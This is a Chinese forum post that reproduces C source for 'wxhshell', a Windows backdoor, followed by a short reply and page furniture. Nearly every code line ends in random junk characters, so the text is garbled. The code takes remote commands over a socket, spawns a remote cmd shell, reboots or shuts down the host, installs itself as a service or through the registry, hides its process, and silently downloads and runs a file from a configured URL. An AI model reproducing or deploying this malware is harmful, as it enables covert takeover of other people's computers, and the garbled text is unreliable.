  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d:]ZFk_*  
  else {m,LpI0wG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >8vq`,e  
  } ] ONmWo77o  
  else { ||7x51-yj  
?f:0GE7  
    switch(cmd[0]) { ?e+y7K}"]  
  [V;u7Z\r-  
  // 帮助 W5Jb5  
  case '?': { $ Grk{]nT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I>-1kFma;  
    break; .ubZ  
  } pf yJL?_%  
  // 安装 81I9xqvSd~  
  case 'i': { Ib/e\+H\  
    if(Install()) z<yqQ[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7o*~zDh@fH  
    else /6 x[C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g~=- ,j|  
    break; j&8G tE1b  
    } Ck/w:i@>?  
  // 卸载 4VsttT  
  case 'r': { 'XYjo&w  
    if(Uninstall()) )7E7K%:b,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (CYQ>)a  
    else E( *CEW.V*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v806f8  
    break; \vL{f;2J  
    } !L)|N<  
  // 显示 wxhshell 所在路径 _4k zlD  
  case 'p': { vr kj4J f  
    char svExeFile[MAX_PATH]; ^8?px&B y:  
    strcpy(svExeFile,"\n\r"); RO'b)J:j9  
      strcat(svExeFile,ExeFile); d:z7 U  
        send(wsh,svExeFile,strlen(svExeFile),0); 6s! =de  
    break; +J42pSxzoo  
    } Ycxv=Et  
  // 重启 <fgf L9-  
  case 'b': { J/Ch /Sa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <hgfgk7<  
    if(Boot(REBOOT)) }tH_YF}u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HMKogGTTo  
    else { x IL]Y7HWM  
    closesocket(wsh);  Qk.[#  
    ExitThread(0); /}d)g4\j  
    } H$zDk  
    break; >#.du}t  
    } $JK,9G[Vu  
  // 关机 {k'$uW `  
  case 'd': {  N=!k2+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T{'oR .g,  
    if(Boot(SHUTDOWN)) `yRt?UQRS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rPifiLl A>  
    else { R!x /,6,_  
    closesocket(wsh); PnI_W84z  
    ExitThread(0); +' .o  
    } {Sc*AE&Y  
    break; .SWn/Kk  
    } OZ<fQf.Gh}  
  // 获取shell B/JMH 1r  
  case 's': { MBol_#H  
    CmdShell(wsh); Fj&8wZ)v)  
    closesocket(wsh); W#x~x|(c  
    ExitThread(0); HJe6h. P  
    break; Fa X3@Sd!  
  } 0v3 8LBH)  
  // 退出 '|yBz1uL  
  case 'x': { j 4(f1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VY!A]S"  
    CloseIt(wsh); _Vt CC/  
    break; ^/$U(4  
    } 2(9~G|C.  
  // 离开 07,&weQ  
  case 'q': { "haJwV6-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a{kLAx[>  
    closesocket(wsh); Z?."cuTt  
    WSACleanup(); +OO my  
    exit(1); U)('}u=b  
    break; vC^n_  
        } (~#-J7  
  } _J_QB]t  
  } L^ U.h  
W)odaab7  
  // 提示信息 &&sm7F%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S$GWY^5}{  
} H5A7EZq}`  
  } 94[8~_{fG  
OI^qX;#Kd  
  return; u$(XZ;Jg  
} j3'SM#X  
CE I.*Iywu  
// shell模块句柄 MeO2 cy!5q  
int CmdShell(SOCKET sock) 6k ]+DbT  
{ Rw!_j!  
STARTUPINFO si; d!4:nvKx  
ZeroMemory(&si,sizeof(si)); DC'L-]#<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eqU y>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7<93n`byM  
PROCESS_INFORMATION ProcessInfo; (S63:q&g  
char cmdline[]="cmd"; VzuU 0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nS^,Sq\Ak  
  return 0; QM=Y}   
} '#612iZo  
A+"'8%o9}  
// 自身启动模式 Es1T{<G|w  
int StartFromService(void) *HQ>tvUh  
{ zi+NQOhR  
typedef struct "Q1oSpF  
{ W`jKe-jF  
  DWORD ExitStatus; zm=|#f  
  DWORD PebBaseAddress; 9f3rMPVh(  
  DWORD AffinityMask; +!-U+W  
  DWORD BasePriority; !<5Wi)*  
  ULONG UniqueProcessId; 4 :M}Vz-  
  ULONG InheritedFromUniqueProcessId; TmLfH d  
}   PROCESS_BASIC_INFORMATION; 1Zgv+.  
%Lfy!]Ru  
PROCNTQSIP NtQueryInformationProcess; 34aSRFsk*  
VVi3g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :i o[9B [  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >q1rdq  
Y]"lcr}  
  HANDLE             hProcess; tAS[T9B  
  PROCESS_BASIC_INFORMATION pbi; -N1X=4/fg  
{6>:= ?7]R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pt7yYl&n7^  
  if(NULL == hInst ) return 0; )1Z @}o 9  
Vx=tP.BO]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qfgw^2aUa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wF{M"$am  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LcmZ"M6  
8 v<*xy  
  if (!NtQueryInformationProcess) return 0; ce1U}">11  
?s9f}>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i$XT Qr0K=  
  if(!hProcess) return 0; u 236a\:  
3^Z@fC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  ^J& }C  
l\{r-F N  
  CloseHandle(hProcess); VJ-To}  
l }]"X@&G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [}?E,1Q3  
if(hProcess==NULL) return 0; Lz`_&&6  
"V<7X%LIX  
HMODULE hMod; tjcG^m} _  
char procName[255]; {[r}gS%  
unsigned long cbNeeded; ZE6W"pbjU  
%ERR^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O7zj8  
?q}:ojrs1  
  CloseHandle(hProcess); \|C~VU@  
{:`XhPS<B  
if(strstr(procName,"services")) return 1; // 以服务启动 '],G!U(  
;b0;66C8|  
  return 0; // 注册表启动 )bK3%>H#  
} }ykc AK3U  
;1Q @d  
// 主模块 X "Q\MLy  
int StartWxhshell(LPSTR lpCmdLine) $&. rS.*  
{ c- "#  
  SOCKET wsl; W$Z8AZ{E  
BOOL val=TRUE; .-.b:gdO(  
  int port=0; CWS]821;  
  struct sockaddr_in door;  cjf_,x  
Kq}-)  
  if(wscfg.ws_autoins) Install(); kFQx7m  
E[>A# l53  
port=atoi(lpCmdLine); cf*SWKs  
FtybF  
if(port<=0) port=wscfg.ws_port; -}"nb-RR\  
HXQ } B$V  
  WSADATA data; T)Pr%kF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [g$IN/o%  
*4[P$k$7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V_jGL<X|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SnG XEQ  
  door.sin_family = AF_INET; $x(p:+TI\4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QzV%m0  
  door.sin_port = htons(port); ZEG~ek=jM  
hGU 3DKHT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z>ztFU  
closesocket(wsl); <l$ vnq  
return 1; co>IJzg  
} (iY2d_FQ[  
rnM C[  
  if(listen(wsl,2) == INVALID_SOCKET) { O5A]{ W  
closesocket(wsl); U ]O>DM^'  
return 1; `/o|1vv@_  
} %H=^U8WB  
  Wxhshell(wsl); M8f[ck  
  WSACleanup(); \}; 4rm}V  
|pR'#M4j4A  
return 0; !s[ gv1  
8,]wOxwqi  
} FOS*X  
/7K7o8g  
// 以NT服务方式启动 Bh()?{q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GCp90  
{ d"}lh:L9  
DWORD   status = 0; gyOAvx  
  DWORD   specificError = 0xfffffff; Cuo"6, M  
-5,+gakSk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sJm v{wM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6Bn}W ?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Dx.hM[  
  serviceStatus.dwWin32ExitCode     = 0; 8hZc#b;  
  serviceStatus.dwServiceSpecificExitCode = 0; 8FgF6ip  
  serviceStatus.dwCheckPoint       = 0; r ['zp=9  
  serviceStatus.dwWaitHint       = 0; /F}dC/W  
@Qd5a(5WM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s"X0Jx}  
  if (hServiceStatusHandle==0) return; X92I==-w  
nC#SnyUO  
status = GetLastError(); a0hgF_O1  
  if (status!=NO_ERROR) Fhs/<w-  
{ _`xhP-,`S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s~g]`/h$r  
    serviceStatus.dwCheckPoint       = 0; U DHMNubB  
    serviceStatus.dwWaitHint       = 0; G+K`FUNA  
    serviceStatus.dwWin32ExitCode     = status; -8&P1jrI  
    serviceStatus.dwServiceSpecificExitCode = specificError; , 4@C%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4YCuO%  
    return; j/hm)*\io  
  } NtQ#su$  
|i- S}M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gX/?  
  serviceStatus.dwCheckPoint       = 0; py9`q7F  
  serviceStatus.dwWaitHint       = 0; EP6@5PNZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p I@!2c:}  
} j +Ro?  
3+V.9TL'a  
// 处理NT服务事件,比如:启动、停止 UZu.B!4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .wkW<F7  
{ p}q]GJ  
switch(fdwControl) vJuL+'[i  
{ - 4B&{P  
case SERVICE_CONTROL_STOP: h]k1vp)Q y  
  serviceStatus.dwWin32ExitCode = 0; ^6 \@$   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Uk4G9}I  
  serviceStatus.dwCheckPoint   = 0; y1Y  
  serviceStatus.dwWaitHint     = 0; __ G=xf  
  { M(W-\ L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NeniQeR   
  } S,RC;D7  
  return; VQn]"G( `  
case SERVICE_CONTROL_PAUSE: j15t8du&O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 36yIfC,  
  break; /mnV$+BE  
case SERVICE_CONTROL_CONTINUE: M3H^s_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v|2+7N:[;  
  break; gO kum_  
case SERVICE_CONTROL_INTERROGATE: b R9iqRbn  
  break; {\ogw0X  
}; `5Em: 8 M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]!cLFXa  
} d>x(Bj6  
@|@6pXR.  
// 标准应用程序主函数 BU=Ta$#BZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u$+nl~p[&  
{ NzbHg p  
?wMS[Kj  
// 获取操作系统版本 )7a 4yTg!~  
OsIsNt=GetOsVer(); mlbSs_LT^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d&%}u1 .  
0Yfz?:e  
  // 从命令行安装 #=I5_u  
  if(strpbrk(lpCmdLine,"iI")) Install(); u7bji>j  
nLnzl  
  // 下载执行文件 '#CYw=S+  
if(wscfg.ws_downexe) { oN Rp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &p.7SPQ8/  
  WinExec(wscfg.ws_filenam,SW_HIDE); )Z63 cr/  
} els71t -  
p.!p6ve){  
if(!OsIsNt) { ivPX_#QI  
// 如果时win9x,隐藏进程并且设置为注册表启动 _6C,w`[[6  
HideProc(); T_~xDQ`v  
StartWxhshell(lpCmdLine); iayxN5,  
} 0]l9x}  
else 7OLchf  
  if(StartFromService()) 8V+  
  // 以服务方式启动 ':|?M B  
  StartServiceCtrlDispatcher(DispatchTable); #v:A-u  
else #YB3Ug]z  
  // 普通方式启动 )!d_Td\-  
  StartWxhshell(lpCmdLine); hr/|Fn+kA  
_kQOax{c/  
return 0; > `+lEob  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五